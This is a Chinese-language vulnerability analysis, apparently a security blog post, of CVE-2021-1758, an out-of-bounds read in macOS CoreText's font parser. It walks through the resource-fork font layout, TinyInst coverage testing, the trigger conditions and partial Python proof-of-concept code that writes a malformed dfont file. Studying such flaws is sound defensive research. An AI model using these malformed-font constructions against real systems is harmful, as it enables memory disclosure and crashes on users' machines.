本文详细分析了macOS CoreText组件中libFontParser.dylib库的越界读取漏洞(CVE-2021-1758),包括Mac资源派生字体文件结构、漏洞触发条件及PoC构造过程,涉及TinyInst覆盖率测试和动态调试技术。
CVE-2021-1758(CoreText越界读取)分析
Mac资源派生字体文件
资源派生结构
现代macOS系统可以加载称为Mac资源派生(Resource Fork)的字体文件。这种遗留结构包含:
- 资源头(16字节):记录数据偏移/大小
- 资源数据:多个资源条目(4字节长度+可变数据)
- 资源映射表:包含类型列表、引用列表和名称列表
关键数据结构
1
2
3
4
|
# 示例资源头结构
res_header = p32(data_offset) + p32(map_offset) + p32(data_len) + p32(map_len)
# 资源类型列表项
type_entry = b"FOND" + p16(res_count-1) + p16(ref_list_offset)
|
目标分析
测试环境搭建
使用CoreText框架的测试工具:
1
|
CFArrayRef descriptors = CTFontManagerCreateFontDescriptorsFromURL(url);
|
覆盖率分析
通过TinyInst获取执行路径:
1
|
sudo litecov -instrument_module libFontParser.dylib -- ./main font.dfont
|
- Arial字体:719个基本块
- 自定义字体:557-629个基本块(逐步修正结构后)
漏洞细节
触发路径
- 绕过
CheckMapHeaderCommon
的字节序检查:
1
|
res_map_offset = _byteswap_ulong(header[1]); // 需大端序
|
- 操纵资源类型数量使
CheckMapCommon
提前返回:
1
|
if(num_types <= 0) return 0; // 通过设置0xFFFF触发
|
- 在
GetResourcePtrCommon
中触发OOB读取:
1
|
memmove(dst, res_name_entry, name_len+1); // 未验证的偏移量
|
PoC构造
1
2
3
4
5
|
# 关键恶意结构
res_map += p16(0xffff) # 欺骗类型检查
res_map += p16(0x6000) # 可控的OOB偏移
with open("exp.dfont","wb") as f:
f.write(pad(24)+res_data+res_map)
|
参考